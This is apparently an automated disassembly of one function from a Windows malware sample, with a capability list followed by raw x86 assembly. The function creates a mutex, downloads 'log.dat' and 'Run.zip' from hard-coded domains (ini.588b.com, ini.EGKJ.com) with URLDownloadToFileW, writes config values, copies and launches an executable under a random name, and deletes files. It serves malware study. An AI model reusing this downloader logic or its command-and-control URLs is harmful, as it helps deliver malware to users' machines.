Function at 0x405a50
Capabilities:
Check for time delay via gettickcount
Check if file exists
Check mutex on windows
Copy file
Create process on windows
Create process suspended
Delete file
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2bc
mov eax, dword [0x418174]
xor eax, esp
mov dword [esp + 0x2b8], eax
push ebx
push esi
push edi
push str.GggNo1
push 0
push 0
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4069f9
test esi, esi
je 0x4069f9
push 0x416a14
push 0x419110
call fcn.00410fc7
mov esi, eax
mov eax, dword [0x41916c]
mov edx, dword [eax + 0xc]
add esp, 8
neg esi
sbb esi, esi
inc esi
mov ecx, 0x41916c
mov dword [esp + 0x2c], esi
call edx
add eax, 0x10
mov dword [esp + 0xc], eax
mov eax, dword [0x41916c]
mov edx, dword [eax + 0xc]
mov ecx, 0x41916c
call edx
add eax, 0x10
mov dword [esp + 0x14], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xc2]
push ecx
mov word [esp + 0xc4], ax
call fcn.0040b170
add esp, 0xc
push 0x103
lea edx, [esp + 0xbc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [esp + 0xba]
push str.:Program_Files_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 8
call ebx
push eax
call fcn.004079f1
add esp, 4
call fcn.00407a03
cdq
mov ecx, 0x989298
idiv ecx
mov edi, edx
add edi, 0x3e8
call ebx
push eax
call fcn.004079f1
add esp, 4
call fcn.00407a03
cdq
mov ecx, 0x17
idiv ecx
mov ebx, edx
add ebx, 0x61
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004079f1
add esp, 4
call fcn.00407a03
cdq
mov ecx, 0x18
idiv ecx
add edx, 0x41
mov dword [esp + 0x20], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004079f1
add esp, 4
call fcn.00407a03
cdq
mov ecx, 0x1a
idiv ecx
push edi
add edx, 0x41
add ebx, 3
push ebx
mov eax, dword [esp + 0x28]
add eax, 2
push eax
push edx
lea ecx, [esp + 0xc8]
push ecx
push str._s_c_c_c_x
lea edi, [esp + 0x24]
call fcn.00406ed0
mov edi, dword [esp + 0x24]
add esp, 0x14
add edi, 0xfffffff0
mov eax, edi
mov dword [esp + 0x34], esp
mov ebx, esp
call fcn.00406cc0
add eax, 0x10
mov dword [ebx], eax
call fcn.00405810
add esp, 4
test eax, eax
jne 0x405c21
push ecx
mov eax, edi
mov dword [esp + 0x34], esp
mov ebx, esp
call fcn.00406cc0
add eax, 0x10
mov dword [ebx], eax
call fcn.00405890
add esp, 4
push str.jbywb
lea edi, [esp + 0x18]
push str.58wangwei
test esi, esi
je 0x405c3a
push str.http:__ini.588b.com__s_new__s.ini
jmp 0x405c3f
push str.http:__ini.588b.com__s__s.ini
call fcn.00406ed0
add esp, 0xc
mov dword [esp + 0x10], 0
cmp dword [esp + 0x10], 0x14
jl 0x405c7f
cmp dword [esp + 0x2c], 0
push str.jbywb
lea edi, [esp + 0x18]
push str.58wangwei
je 0x405c72
push str.http:__ini.EGKJ.com__s_new__s.ini
jmp 0x405c77
push str.http:__ini.EGKJ.com__s__s.ini
call fcn.00406ed0
add esp, 0xc
mov edi, dword [esp + 0x14]
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
call eax
cmp dword [edi + 0xc], 0
lea ecx, [edi + 0xc]
jl 0x405caa
cmp eax, dword [edi]
jne 0x405caa
mov ebx, edi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x405ce1
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
je 0x406688
mov eax, dword [edi + 4]
mov dword [ebx + 4], eax
mov eax, dword [edi + 4]
lea eax, [eax + eax + 2]
push eax
add edi, 0x10
push edi
push eax
lea ecx, [ebx + 0x10]
push ecx
call fcn.00407a25
add esp, 0x10
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x1c]
lea esi, [ebx + 0x10]
push eax
mov ebx, str.log.dat
call fcn.00406a20
mov ecx, dword [esp + 0x20]
add esp, 8
push 0
push 0
push ecx
push esi
push 0
call sub.urlmon.dll_URLDownloadToFileW
mov edi, eax
neg edi
sbb edi, edi
and edi, 0xfffffff5
lea eax, [esi - 0x10]
add edi, 0xb
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x405d34
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405d54
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp edi, 0xa
jbe 0x405d86
or dword [esp + 0x24], 1
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x24]
push edx
mov ebx, str.log.dat
call fcn.00406a20
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x405d86
mov bl, 1
jmp 0x405d88
xor bl, bl
test byte [esp + 0x24], 1
je 0x405db4
mov eax, dword [esp + 0x20]
and dword [esp + 0x24], 0xfffffffe
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405db4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
jne 0x405dd5
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x28
mov dword [esp + 0x10], eax
jl 0x405c4f
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x2c]
push edx
mov ebx, str.log.dat
call fcn.00406a20
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov eax, dword [esp + 0x28]
sete bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405e1a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x405e3a
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [esp + 0x2c]
jmp 0x405c21
call fcn.00407378
add esp, 4
cmp dword [esp + 0x2c], 0
je 0x405e56
push str.http:__ini.588b.com_soft_newgoto.zip
mov ebx, 0x24
lea eax, [esp + 0x18]
call fcn.00406c10
jmp 0x405e71
push str.jbywb
push str.58wangwei
push str.http:__ini.588b.com_soft__s__s.zip
lea edi, [esp + 0x20]
call fcn.00406ed0
add esp, 0xc
mov dword [esp + 0x10], 0
cmp dword [esp + 0x10], 0x14
jl 0x405eb7
cmp dword [esp + 0x2c], 0
je 0x405e9c
push str.http:__ini.EGKJ.com_soft_newgoto.zip
mov ebx, 0x24
lea eax, [esp + 0x18]
call fcn.00406c10
jmp 0x405eb7
push str.jbywb
push str.58wangwei
push str.http:__ini.EGKJ.com_soft__s__s.zip
lea edi, [esp + 0x20]
call fcn.00406ed0
add esp, 0xc
mov edi, dword [esp + 0x14]
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
call eax
cmp dword [edi + 0xc], 0
lea ecx, [edi + 0xc]
jl 0x405ee2
cmp eax, dword [edi]
jne 0x405ee2
mov ebx, edi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x405f19
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
je 0x406688
mov eax, dword [edi + 4]
mov dword [ebx + 4], eax
mov eax, dword [edi + 4]
lea eax, [eax + eax + 2]
push eax
add edi, 0x10
push edi
push eax
lea ecx, [ebx + 0x10]
push ecx
call fcn.00407a25
add esp, 0x10
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x2c]
lea esi, [ebx + 0x10]
push eax
mov ebx, str.Run.zip
call fcn.00406a20
mov ecx, dword [esp + 0x30]
add esp, 8
push 0
push 0
push ecx
push esi
push 0
call sub.urlmon.dll_URLDownloadToFileW
mov edi, eax
neg edi
sbb edi, edi
and edi, 0xfffffff5
add esi, 0xfffffff0
add edi, 0xb
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x405f6c
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405f8c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp edi, 0xa
jbe 0x405fbe
or dword [esp + 0x24], 2
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x38]
push edx
mov ebx, str.Run.zip
call fcn.00406a20
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x405fbe
mov bl, 1
jmp 0x405fc0
xor bl, bl
test byte [esp + 0x24], 2
je 0x405fec
mov eax, dword [esp + 0x34]
and dword [esp + 0x24], 0xfffffffd
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405fec
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
jne 0x40600d
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x28
mov dword [esp + 0x10], eax
jl 0x405e79
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x34]
push edx
mov ebx, str.Run.zip
call fcn.00406a20
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov eax, dword [esp + 0x30]
sete bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406052
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
jne 0x4063bb
push ecx
mov ecx, esp
lea edx, [esp + 0x10]
mov dword [esp + 0x24], esp
push edx
push ecx
mov ebx, str.Run.zip
mov dword [esp + 0x24], 0
call fcn.00406a20
add esp, 8
lea ebx, [esp + 0x1c]
call fcn.00401550
test eax, eax
je 0x4061fa
lea eax, [esp + 0xc]
push eax
mov ecx, ebx
call fcn.00401020
test eax, eax
jne 0x40640f
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x405e3a
cmp dword [eax], 1
je 0x4060cc
mov dword [0x41a450], 0x80000
jmp 0x405e3a
mov ecx, dword [esp + 0x18]
mov esi, dword [ecx + 4]
cmp dword [esi + 4], 0xffffffff
mov dword [esp + 0x20], esi
je 0x406169
mov eax, dword [esi]
mov dword [esp + 0x10], eax
test eax, eax
je 0x406169
mov ebx, dword [eax + 0x7c]
test ebx, ebx
je 0x406169
mov eax, dword [ebx]
test eax, eax
je 0x40610b
push eax
call fcn.00407423
add esp, 4
mov dword [ebx], 0
cmp dword [ebx + 0x40], 0
mov dword [ebx], 0
je 0x406154
lea edi, [ebx + 4]
test edi, edi
je 0x406154
mov eax, dword [edi + 0x1c]
test eax, eax
je 0x406154
cmp dword [edi + 0x24], 0
je 0x406154
mov eax, dword [eax + 0x14]
test eax, eax
je 0x40613d
mov esi, eax
call fcn.004028f0
mov esi, dword [esp + 0x20]
mov edx, dword [edi + 0x1c]
mov eax, dword [edi + 0x28]
mov ecx, dword [edi + 0x24]
push edx
push eax
call ecx
add esp, 8
mov dword [edi + 0x1c], 0
xor edi, edi
push ebx
mov dword [ebx + 0x40], edi
call fcn.00407423
mov edx, dword [esp + 0x14]
add esp, 4
mov dword [edx + 0x7c], edi
mov ebx, dword [esi]
mov dword [esi + 4], 0xffffffff
test ebx, ebx
je 0x4061ab
cmp dword [ebx + 0x7c], 0
je 0x406183
mov edi, ebx
call fcn.00404d60
mov edi, dword [ebx]
test edi, edi
je 0x4061a2
cmp byte [edi + 0x10], 0
je 0x406199
mov eax, dword [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00407378
add esp, 4
push ebx
call fcn.00407423
add esp, 4
xor edi, edi
mov dword [esi], edi
mov eax, dword [esi + 0x23c]
mov dword [0x41a450], edi
cmp eax, edi
je 0x4061c8
push eax
call fcn.004076a4
add esp, 4
mov eax, dword [esi + 0x240]
mov dword [esi + 0x23c], edi
cmp eax, edi
je 0x4061e1
push eax
call fcn.004076a4
add esp, 4
push esi
mov dword [esi + 0x240], edi
call fcn.00407378
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
jmp 0x405e32
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x405e3a
cmp dword [eax], 1
je 0x406225
mov dword [0x41a450], 0x80000
jmp 0x405e3a
mov edx, dword [esp + 0x18]
mov esi, dword [edx + 4]
xor edi, edi
cmp dword [esi + 4], 0xffffffff
mov dword [esp + 0x20], esi
je 0x4062b7
mov eax, dword [esi]
mov dword [esp + 0x10], eax
cmp eax, edi
je 0x4062b7
mov ebx, dword [eax + 0x7c]
cmp ebx, edi
je 0x4062b7
mov eax, dword [ebx]
cmp eax, edi
je 0x40625e
push eax
call fcn.00407423
add esp, 4
mov dword [ebx], edi
mov dword [ebx], edi
cmp dword [ebx + 0x40], edi
je 0x4062a2
lea edi, [ebx + 4]
test edi, edi
je 0x4062a2
mov eax, dword [edi + 0x1c]
test eax, eax
je 0x4062a2
cmp dword [edi + 0x24], 0
je 0x4062a2
mov eax, dword [eax + 0x14]
test eax, eax
je 0x40628b
mov esi, eax
call fcn.004028f0
mov esi, dword [esp + 0x20]
mov eax, dword [edi + 0x1c]
mov ecx, dword [edi + 0x28]
mov edx, dword [edi + 0x24]
push eax
push ecx
call edx
add esp, 8
mov dword [edi + 0x1c], 0
xor edi, edi
push ebx
mov dword [ebx + 0x40], edi
call fcn.00407423
mov eax, dword [esp + 0x14]
add esp, 4
mov dword [eax + 0x7c], edi
mov eax, dword [esi]
mov dword [esi + 4], 0xffffffff
mov dword [esp + 0x10], eax
cmp eax, edi
je 0x40636e
mov ecx, eax
mov ebx, dword [ecx + 0x7c]
xor esi, esi
cmp ebx, esi
je 0x406338
mov eax, dword [ebx]
cmp eax, esi
je 0x4062e8
push eax
call fcn.00407423
add esp, 4
mov dword [ebx], esi
mov dword [ebx], esi
cmp dword [ebx + 0x40], esi
je 0x406325
lea edi, [ebx + 4]
cmp edi, esi
je 0x406325
mov eax, dword [edi + 0x1c]
cmp eax, esi
je 0x406325
cmp dword [edi + 0x24], esi
je 0x406325
mov eax, dword [eax + 0x14]
cmp eax, esi
je 0x406312
mov esi, eax
call fcn.004028f0
xor esi, esi
mov edx, dword [edi + 0x1c]
mov eax, dword [edi + 0x28]
mov ecx, dword [edi + 0x24]
push edx
push eax
call ecx
add esp, 8
mov dword [edi + 0x1c], esi
push ebx
mov dword [ebx + 0x40], esi
call fcn.00407423
mov edx, dword [esp + 0x14]
add esp, 4
mov dword [edx + 0x7c], esi
mov eax, dword [esp + 0x10]
mov edi, dword [eax]
cmp edi, esi
je 0x40635b
cmp byte [edi + 0x10], 0
je 0x406352
mov ecx, dword [edi + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00407378
add esp, 4
mov edx, dword [esp + 0x10]
push edx
call fcn.00407423
mov esi, dword [esp + 0x24]
add esp, 4
xor edi, edi
mov dword [esi], edi
mov eax, dword [esi + 0x23c]
mov dword [0x41a450], edi
cmp eax, edi
je 0x406389
push eax
call fcn.004076a4
add esp, 4
mov eax, dword [esi + 0x240]
mov dword [esi + 0x23c], edi
cmp eax, edi
je 0x4063a2
push eax
call fcn.004076a4
add esp, 4
push esi
mov dword [esi + 0x240], edi
call fcn.00407378
mov eax, dword [esp + 0x1c]
add esp, 4
push eax
jmp 0x405e32
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4063e6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406a00
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x406a00
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x20]
push edx
mov ebx, str.Run.zip
call fcn.00406a20
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40644f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x20]
push edx
mov ebx, str.log.dat
call fcn.00406a20
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
add esp, 8
push eax
push str.jbywb
push str.username
push str.Config
call esi
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4064a0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x20]
push edx
mov ebx, str.log.dat
call fcn.00406a20
mov eax, dword [eax]
add esp, 8
push eax
push str.58wangwei
push str.agname
push str.Config
call esi
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4064eb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push str.feca2a9d2c46e2b4a889de07dcc5653
push 0x416ce8
push str.RunLock
call dword [sym.imp.KERNEL32.dll_WriteProfileStringA]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
push eax
call fcn.004079f1
add esp, 4
call fcn.00407a03
cdq
mov ecx, 0x989298
idiv ecx
mov edi, edx
add edi, 0x3e8
call esi
push eax
call fcn.004079f1
add esp, 4
call fcn.00407a03
cdq
mov ecx, 0x17
idiv ecx
mov ebx, edx
add ebx, 0x61
call esi
push eax
call fcn.004079f1
add esp, 4
call fcn.00407a03
cdq
mov ecx, 0x18
idiv ecx
mov esi, edx
add esi, 0x41
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004079f1
add esp, 4
call fcn.00407a03
cdq
mov ecx, 0x1a
idiv ecx
push edi
add ebx, 3
push ebx
add esi, 2
push esi
lea edi, [esp + 0x20]
add edx, 0x41
push edx
mov edx, dword [esp + 0x1c]
push edx
push str._s_c_c_c_x.exe
call fcn.00406ed0
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x38]
push ecx
mov ebx, str.goto.exe
call fcn.00406a20
mov esi, dword [esp + 0x34]
mov eax, dword [eax]
add esp, 0x20
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edi, eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4065e5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test edi, edi
je 0x4066dd
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x20]
push edx
mov ebx, str.goto.exe
call fcn.00406a20
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40662d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ebx, dword [esp + 0xc]
lea edi, [esi - 0x10]
add ebx, 0xfffffff0
cmp edi, ebx
je 0x4066ec
cmp dword [ebx + 0xc], 0
jl 0x4066ce
mov ecx, dword [edi]
cmp ecx, dword [ebx]
jne 0x4066ce
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [edi + 0xc], 0
lea ecx, [edi + 0xc]
jl 0x406674
cmp eax, dword [edi]
jne 0x406674
mov esi, edi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x4066ac
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x40668d
call fcn.00406cb0
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea eax, [eax + eax + 2]
push eax
add edi, 0x10
push edi
push eax
lea ecx, [esi + 0x10]
push ecx
call fcn.00407a25
add esp, 0x10
lea eax, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [eax], edx
dec edx
test edx, edx
jg 0x4066c5
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
add esi, 0x10
mov dword [esp + 0xc], esi
jmp 0x4066ec
mov ebx, dword [esi - 0xc]
push esi
lea eax, [esp + 0x10]
call fcn.00406c10
jmp 0x4066ec
lea eax, [esp + 0xc]
push eax
mov eax, 9
call fcn.00406d30
xor eax, eax
push 0x44
push eax
lea ecx, [esp + 0x50]
push ecx
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call fcn.0040b170
add esp, 0xc
push 0x419110
mov dword [esp + 0x4c], 0x44
call fcn.0041121f
xor eax, eax
lea edx, [esp + 0x96]
add esp, 4
push edx
xor ebx, ebx
mov dword [esp + 0x94], 0x20
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], eax
mov dword [esp + 0xa0], eax
mov dword [esp + 0xa4], eax
mov dword [esp + 0xa8], eax
mov dword [esp + 0xac], eax
mov dword [esp + 0xb0], eax
mov dword [esp + 0xb4], eax
mov dword [esp + 0xb8], eax
call fcn.00405930
mov eax, 0x419110
add esp, 4
mov edx, eax
jmp 0x406790
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406790
lea edi, [esp + 0x90]
sub eax, edx
add edi, 0xfffffffe
jmp 0x4067b0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x4067b0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x416d28
mov ecx, eax
push 0x416d2c
and ecx, 3
push str.OwneOne
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
mov esi, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x4c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0xb0]
push edx
push esi
call edi
test eax, eax
jne 0x406846
cmp ebx, 0xa
jae 0x406846
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x4c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0xb0]
push edx
push esi
inc ebx
call edi
test eax, eax
je 0x406810
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
call edi
test eax, eax
jne 0x406865
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call edi
test eax, eax
je 0x406853
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4069a1
cmp dword [eax], 1
je 0x406885
mov dword [0x41a450], 0x80000
jmp 0x4069a1
mov eax, dword [eax + 4]
cmp dword [eax + 4], 0xffffffff
mov dword [esp + 0x1c], eax
je 0x406906
mov eax, dword [eax]
mov dword [esp + 0x20], eax
test eax, eax
je 0x406906
mov ebx, dword [eax + 0x7c]
test ebx, ebx
je 0x406906
mov eax, dword [ebx]
xor esi, esi
cmp eax, esi
je 0x4068b6
push eax
call fcn.00407423
add esp, 4
mov dword [ebx], esi
mov dword [ebx], esi
cmp dword [ebx + 0x40], esi
je 0x4068f3
lea edi, [ebx + 4]
cmp edi, esi
je 0x4068f3
mov eax, dword [edi + 0x1c]
cmp eax, esi
je 0x4068f3
cmp dword [edi + 0x24], esi
je 0x4068f3
mov eax, dword [eax + 0x14]
cmp eax, esi
je 0x4068e0
mov esi, eax
call fcn.004028f0
xor esi, esi
mov ecx, dword [edi + 0x1c]
mov edx, dword [edi + 0x28]
mov eax, dword [edi + 0x24]
push ecx
push edx
call eax
add esp, 8
mov dword [edi + 0x1c], esi
push ebx
mov dword [ebx + 0x40], esi
call fcn.00407423
mov ecx, dword [esp + 0x24]
add esp, 4
mov dword [ecx + 0x7c], esi
mov esi, dword [esp + 0x1c]
mov edi, dword [esi]
xor ebx, ebx
mov dword [esi + 4], 0xffffffff
cmp edi, ebx
je 0x40694d
cmp dword [edi + 0x7c], ebx
je 0x406923
call fcn.00404d60
mov ebx, dword [edi]
test ebx, ebx
je 0x406942
cmp byte [ebx + 0x10], 0
je 0x406939
mov edx, dword [ebx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.00407378
add esp, 4
push edi
call fcn.00407423
add esp, 4
xor ebx, ebx
mov dword [esi], ebx
mov eax, dword [esi + 0x23c]
mov dword [0x41a450], ebx
cmp eax, ebx
je 0x406968
push eax
call fcn.004076a4
add esp, 4
mov eax, dword [esi + 0x240]
mov dword [esi + 0x23c], ebx
cmp eax, ebx
je 0x406981
push eax
call fcn.004076a4
add esp, 4
push esi
mov dword [esi + 0x240], ebx
call fcn.00407378
mov eax, dword [esp + 0x1c]
add esp, 4
push eax
call fcn.00407378
mov esi, dword [esp + 0x10]
add esp, 4
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4069c1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 0xfffffff0
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4069dd
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2b8]
xor ecx, esp
call fcn.00407383
mov esp, ebp
pop ebp
ret 0x10
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x2c4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00407383
mov esp, ebp
pop ebp
ret 0x10